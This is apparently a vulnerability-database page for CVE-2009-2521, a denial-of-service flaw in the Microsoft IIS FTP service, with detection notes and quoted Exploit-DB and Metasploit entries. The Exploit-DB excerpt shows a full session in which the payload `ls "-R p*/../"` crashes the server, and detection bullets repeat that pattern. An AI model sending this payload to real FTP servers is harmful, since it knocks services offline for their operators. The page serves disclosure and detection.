CVE-2009-2521
published 2009-09-04CVE-2009-2521: Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause…
PriorityP273medium5CVSS 2.0
AVNACLAuNCNINAP
ITWEXPLOITVulnCheck KEVRansomware
Exploited in the wild
EPSS
82.27%
99.6th percentile
Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause a denial of service (daemon crash) via a list (ls) -R command containing a wildcard that references a subdirectory, followed by a .. (dot dot), aka "IIS FTP Service DoS Vulnerability."
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | internet_information_services | 5.0 – 7.0 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect FTP LIST/LS commands containing recursive wildcard glob patterns with directory traversal (e.g., '-R */../' or '-R p*/../') sent to IIS FTP service — this is the exact exploit payload for CVE-2009-2521. ↗
- →Monitor IIS FTP service (ftpsvc / MSFTPSVC) for unexpected crashes or restarts; if the service is set to 'manual' startup, it will not recover automatically after exploitation. ↗
- →Anonymous FTP users with read access to any directory can trigger the vulnerability — audit IIS FTP anonymous access permissions as a detection/hardening signal. ↗
- →The Metasploit module may create a randomly-named directory (MKD) on the FTP server before sending the exploit payload if no directory exists — watch for unexpected MKD commands from unauthenticated or low-privilege FTP sessions. ↗
- →The exploit converts the LS command to a LIST command internally; monitor raw FTP traffic for 'LIST -R */../' or 'LIST -R <glob>/../' patterns at the protocol level. ↗
- ·Exploitation requires at least one subdirectory to exist under the FTP root; if none exists and the attacker has write access, the module creates one automatically before triggering the DoS. ↗
- ·The DoS impact is amplified when the FTP Publishing service is configured for 'manual' startup — the service will not auto-restart after crashing, maximising downtime. ↗
- ·Affected versions span IIS FTP 5.0 through 7.0; both IIS 5.0 and 6.0 were confirmed vulnerable in original researcher testing. ↗
CVSS provenance
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:N/A:P
vulncheck5.0MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-w8g4-h8cc-352m: Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5
ghsa_unreviewed·2022-05-02
CVE-2009-2521 [MEDIUM] CWE-400 GHSA-w8g4-h8cc-352m: Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5
Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause a denial of service (daemon crash) via a list (ls) -R command containing a wildcard that references a subdirectory, followed by a .. (dot dot), aka "IIS FTP Service DoS Vulnerability."
VulnCheck
Microsoft Internet Information Services (IIS) Uncontrolled Resource Consumption
vulncheck·2009·CVSS 5.0
CVE-2009-2521 [MEDIUM] Microsoft Internet Information Services (IIS) Uncontrolled Resource Consumption
Microsoft Internet Information Services (IIS) Uncontrolled Resource Consumption
Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause a denial of service (daemon crash) via a list (ls) -R command containing a wildcard that references a subdirectory, followed by a .. (dot dot), aka "IIS FTP Service DoS Vulnerability."
Affected: Microsoft Internet Information Services (IIS)
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://info.securin.io/hubfs/Securin%20Ransomware%20Report%202023.pdf
No detection rules found.
Exploit-DB
Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit)
exploitdb·2011-07-03
CVE-2009-2521 Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit)
Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit)
---
# Exploit Title: [MS09-053] Microsoft IIS FTP Server
# Software Link: http://www.microsoft.com/
# Version: 5.0 - 7.0
# Tested on: unpatched version of windows xp & 2k3
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Microsoft IIS FTP Server %q{
This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploi
Exploit-DB
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service
exploitdb·2009-09-04
CVE-2009-2521 Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service
---
***** MS IIS FTPD DoS ZER0DAY *****
There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.
Example session where the anonymous user has read access to the folder "pub":
C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost.
Metasploit
Microsoft IIS FTP Server LIST Stack Exhaustion
metasploit
Microsoft IIS FTP Server LIST Stack Exhaustion
Microsoft IIS FTP Server LIST Stack Exhaustion
This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command containing a wildcard. For this exploit to work in most cases, you need 1) a valid ftp account: either read-only or write-access account 2) the "FTP Publishing" must be configured as "manual" mode in startup type 3) there must be at least one directory under FTP root directory. If your provided an FTP account has write-access privilege and there is no single directory, a new directory with random name will be created prior to sending exploit payload.
Recorded Future
Underlying Dimensions of Yemen’s Civil War: Control of the Internet
blogs_recorded_future
Underlying Dimensions of Yemen’s Civil War: Control of the Internet
# Underlying Dimensions of Yemen’s Civil War: Control of the Internet
Scope Note: Sources of this research include the Recorded Future platform, Recorded Future malware detonation, the findings and methods from the Citizen Lab, Shodan, VirusTotal, Censys, ReversingLabs, and third-party metadata. Recorded Future would like to thank Rapid7 and their National Exposure Index in helping quantify the current IP landscape in Yemen. Recorded Future would also like to thank Joe Security for the use of their product to analyze Android device malware samples.
### Executive Summary
In the midst of the ongoing Yemeni civil war, local and international players are waging a secondary war through internet control and other cyber means. Recorded Future’s Insikt Group assesses that dynamics of the Yemeni
Recorded Future
Underlying Dimensions of Yemen’s Civil War: Control of the Internet
blogs_recorded_future
Underlying Dimensions of Yemen’s Civil War: Control of the Internet
## Underlying Dimensions of Yemen’s Civil War: Control of the Internet
Scope Note : Sources of this research include the Recorded Future platform, Recorded Future malware detonation, the findings and methods from the Citizen Lab, Shodan, VirusTotal, Censys, ReversingLabs, and third-party metadata. Recorded Future would like to thank Rapid7 and their National Exposure Index in helping quantify the current IP landscape in Yemen. Recorded Future would also like to thank Joe Security for the use of their product to analyze Android device malware samples.
## Executive Summary
In the midst of the ongoing Yemeni civil war, local and international players are waging a secondary war through internet control and other cyber means. Recorded Future’s Insikt Group assesses that dynamics of the Yemen
http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.htmlhttp://support.microsoft.com/default.aspx?scid=kb%3B%5BLN%5D%3BQ975191http://www.us-cert.gov/cas/techalerts/TA09-286A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-053https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6508http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.htmlhttp://support.microsoft.com/default.aspx?scid=kb%3B%5BLN%5D%3BQ975191http://www.us-cert.gov/cas/techalerts/TA09-286A.htmlhttps://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-053https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6508
2009-09-04
Published
Exploited in the wild